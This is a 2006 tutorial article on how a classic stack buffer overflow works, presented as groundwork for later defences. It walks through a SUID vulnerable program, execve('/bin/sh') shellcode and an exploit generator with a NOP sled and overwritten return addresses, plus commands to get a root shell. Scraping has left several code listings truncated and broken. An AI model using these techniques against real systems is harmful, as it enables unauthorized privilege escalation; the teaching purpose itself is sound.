Preventing Buffer Overflow Exploits, Part 1

by ServerWatch Staff

The buffer overflow exploit has become almost ubiquitous in recent years. This article describes how the exploit works and provides examples to better understand it.

Internet servers, including Web, e-mail, and FTP servers have long been a target of different kinds of attacks aiming to disable them from providing services to their respective users. One particular exploit, which has become almost ubiquitous in the last several years, is the buffer overflow exploit. While the exploit requires particularly arcane and detailed knowledge of both assembly language and, in some cases, operating system interface details, once someone has coded an exploit and published it, anyone can use it. The results of these exploits provide interactive command shells on UNIX and Linux systems and the ability to upload and execute arbitrary programs on Windows systems.

To answer the need for advanced security features for Linux servers, the Open Systems Lab at the Ericsson Research Corporate Unit in Montreal, Canada, started the Distributed Security Infrastructure project (DSI) to design and develop a secure infrastructure that provides advanced security mechanisms for telecom applications running on carrier grade Linux servers. One of the goals of DSI is to prevent attacks incoming from the Internet and Intranet, which include buffer overflow exploits, denial of service attacks, and other type of attacks and exploits.

A buffer overflow occurs when a program or a process tries to store more data in a buffer than the buffer is intended to hold.

This article describes the buffer overflow exploit and provides detailed examples to help understand it. A subsequent article will discuss solutions to prevent such exploits and look in detail at the DSM. Please note that the examples provided are for illustration purposes, and we are not by any mean publicizing how to exploit systems. The very simple examples aim to better explain the nature of the exploits and how to prevent them.

Buffer Overflow Exploits

A buffer overflow occurs when a program or a process tries to store more data in a buffer than the buffer is intended to hold. Since buffers are created to contain a finite amount of data, the extra information has to go somewhere, and it can overflow into adjacent buffers, corrupting or overwriting the valid data held in them.

Although it may occur accidentally through a programming error, buffer overflow is an increasingly common type of security exploit on data integrity. In a buffer overflow exploit scenario, the extra data may contain codes designed to trigger specific actions such as sending new instructions to the attacked server that could, for instance, damage users’ files, change data, or disclose confidential information.

To prevent buffer overflow exploits, it is necessary to understand how they occur. If the buffer overflow is a result of an accidental misuse of the vulnerable program, then the program will simply crash. However, if the exploit is the work of a malicious attack, then the consequences can be more severe.

>> Process Memory Regions

This article was originally published on LinuxPlanet.

Process Memory Regions

Before we explain the mechanisms of the buffer overflow exploits, it is impotant to understand the basics of process organization in memory.

Each process is divided into three regions:

  • Text: The text region contains the executable code of the process. It is marked as read-only to prevent its modification. This part of the code can be stored in the read only memory (similar to flash memory) and executed from there.
  • Data: The data region contains initialized and un-initialized data. Since the executing process can modify data, this part must be stored in the read-write memory. In some cases when the executing image is stored in the flash and then booted from there, this part must be moved to the RAM.
  • Stack: The stack is a read-write area of the memory used to hold local variables, to pass parameters to functions, and to return values from the functions. The stack works following the LIFO model (Last In, First Out), and it is supported by two stack operations:
    • PUSH--to store data at the top of the stack, and
    • POP--to remove data from the stack.

    Both PUSH and POP instructions are in fact a two-step process: first, the data is put on (or remove from) the top of the stack, and next the stack pointer register is updated. The stack grows downward when the stack pointer register is decreased for the PUSH instruction, pointing to lower memory address as the amount of data on the stack increases. Moreover, the stack pointer register is increased for the POP operation, pointing to higher memory address as the amount of data on the stack decreases. The stack grows upward when stack pointer is increased for the PUSH operation and is decreased for the POP operation. On the Intel processors, the stack grows down. Therefore, we will follow this model in our examples.

We will illustrate how the data is organised in the stack using the following example (Listing 1):

void myfunction (char *str, int len)
 char buffer[20];

void main()

Listing 1: example1.c

We will compile example1.c with the –S switch to generate assembly code to examine how the parameters to a function (in this case myfunction) and its local variables are organised on the stack.

$ gcc –S example1.s example1.c

The file example1.s contains the following instructions (comments were added after compilation):

 pushl %ebp  # save base frame pointer  [3]
 movl %esp, %ebp
 subl $40, %esp # reserve space for local variables [4]
 ret   # return from call   [5]
 . . .
 . . .
        pushl $8  # save argument len   [1]
 pushl $0  # save argument str   [1]
 call myfunction # pass control to function and put [2]
 . . .   # return address on the stack
 . . .

Listing 2: example1.

As illustrated, the C call to myfunction(str,len) in main() (Listing 1) translates to more than just one line of the assembler code as shown in Listing 2. Based on the above example, we will describe the process of the function call and its interaction with the stack.

We can present the process of passing control to a function in the following steps:

  1. The function arguments are stored on the stack (len,str)
  2. The assembler instruction call myfunction, saves the return address (ret) on the stack (address of the instruction just after the call), and jumps to the function
  3. Inside the function, the stack frame pointer (sfp) is saved on the stack and the new stack frame pointer is assigned
  4. The space for the function local variables is reserved on the stack (buffer)

When the function returns from the call [5], the saved (in [2]) return address (ret) will be used to pass control to the instruction just after the call.

In this example, the exploit occurs when the return address is overwritten by some data. This occurs when there is no boundary checking when moving data to the buffer (calling strcpy in Listing 1). Usually, the moved data is random and the result will be the segmentation violation.

Nearly 100 percent of the time the segmentation violation is the result of the buffer overflow because the buffer contains the random data not executable code. The operating system traps this situation and stops the process execution, so there will be no damage to the other parts of the system except the affected process.

However, what happens if the buffer contains an executable program, which will start executing without our knowledge? This situation is not desirable. It is almost impossible that the random data will execute for long time without a crash. Therefore, at this stage, we have to do a little bit hacking to get the expected results.

>> Examples

This article was originally published on LinuxPlanet.

Buffer Overflow Exploit in Action

A successful buffer overflow exploit has four steps:

  1. Find a process that is vulnerable to the buffer overflow exploits
  2. In order to inject the most damage, the process should run with root privileges.
  3. Decide what to execute as a result of buffer overflow exploit
  4. Find a way from the vulnerable process to start the chosen process

For our exercise, we created the following program that we will try to overflow (Listing 3):

void main(int argc, char *argv[]) 
char buffer[512];
if (argc > 1)

Listing 3: vulnerable.c

The sample program in Listing 3 copies the input string to its internal buffer without checking the buffer size. Our target result is to have a process runs with root privileges; this way, when the buffer overflow exploits takes place, the result will be gaining root privileges. Usually a process takes the privileges of the user that started it. However, in the case of a SUID process, the program inherits the privileges of the executable file, not the user, when executed. Therefore, we assume that our executable file (vulnerable) was created with root privileges.

Now, we must decide which program to run because of a buffer overflow exploit. In this example, we will start the shell with root privileges. The code looks as follows (Listing 4):


void main()
char *name[2];

name[0] = “/bin/sh”;
name[1] = NULL;

execve(name[0], name, NULL);

Listing 4: shellcode.c

We need to find a machine code representation of the above C code,  to store it in the overflowing buffer. The code must be position independent because we do not know what will be the address of the local buffer on the stack. The code cannot contain any '�' byte because the strcpy function will stop copying after finding such a character. To find out how the code looks like in assembly language, we compile it and start the GDB debugger:

$ gcc  -o shellcode –ggdb –static shellcode.c
$ gdb shellcode
$ (gdb) disassemble main
$ (gdb) x/bx main+1
$ (gdb) x/bx main+2 (and so on...)

After modifying the assembler code that it is position independent, finding out its machine representation and replacing all '�' characters, we will get a code in the machine language, which can be stored in a buffer (the details of obtaining such code can be found here):

char shellcode[] =

Listing 5: shell code in hex notation

This buffer (Listing 5) contains the code that will run as the result of the overflow exploit.

So far, we have one program used as a vulnerable program (Listing 3). We will now create the program that we will use as the exploit program (Listing 6):

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             612
#define NOP                            0x90

char shellcode[] =

unsigned long get_esp(void) {
      __asm__("movl %esp,%eax");

void main(int argc, char *argv[]) {
      char *buff, *ptr, *egg;
      long *addr_ptr, addr;
      int i;

      if (argc > 1) bsize   = atoi(argv[1]);
      if (argc > 2) offset  = atoi(argv[2]);

      if (!(buff = malloc(bsize))) {
             printf("Can't allocate memory.n");

      addr = get_esp() - offset;
      printf("Using address: 0x%xn", addr);

      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
      *(addr_ptr++) = addr;

      ptr = buff;
      for (i = 0; i < bsize/2; i++)
             *(ptr++) = NOP;

      for (i = 0; i < strlen(shellcode); i++)
             *(ptr++) = shellcode[i];

      buff[bsize - 1] = '&#0;';

Listing 6: exploit.c Demonstrating a Buffer Overflow exploit

The purpose of this sample exercise is to demonstrate a buffer overflow exploit; we will later use the same example when we prevent this exploit using the DSM module. To demonstrate the exploit, please follow these steps:

  1. Compile exploit.c and vulnerable.c programs:
    $gcc –o exploit exploit.c
    $gcc –o vulnerable vulnerable.c
  2. Modify the link of /bin/sh in case it is bash or tcsh. The reason is that bash and tcsh restrict setuid execution of itself; therefore we must create link to another shell:
    $ su
    $ cd /bin
    $ mv sh sh.bak
    $ ln –s ash sh
    $ exit
  3. Change the user of the vulnerable executable and set the setuid bit; this will set the userid of the current user to the one of the owner when executing this program:
    $chown root:root vulnerable
    $chmod +s vulnerable
  4. Create the buffer in an environment variable as a normal user:
  5. Execute the vulnerable program:
    $./vulnerable $RET

    At this point, we should have gained root privileges:


    Et Voilà! The shell is started with root privileges. Very simple procedure, yet very dangerous.

  6. Next, we exit from the buffer overflow and the exploit spanned shell:
  7. Restore the original shell
    $ mv sh.bak sh

In this exercise, we demonstrated how to invoke a buffer overflow exploit using very simple programs. In Part 2, we will list existing solutions and go into details on how to prevent such unfortunate incidents using DSM.

This article was originally published on LinuxPlanet.

This article was originally published on Thursday Jan 19th 2006
Mobile Site | Full Site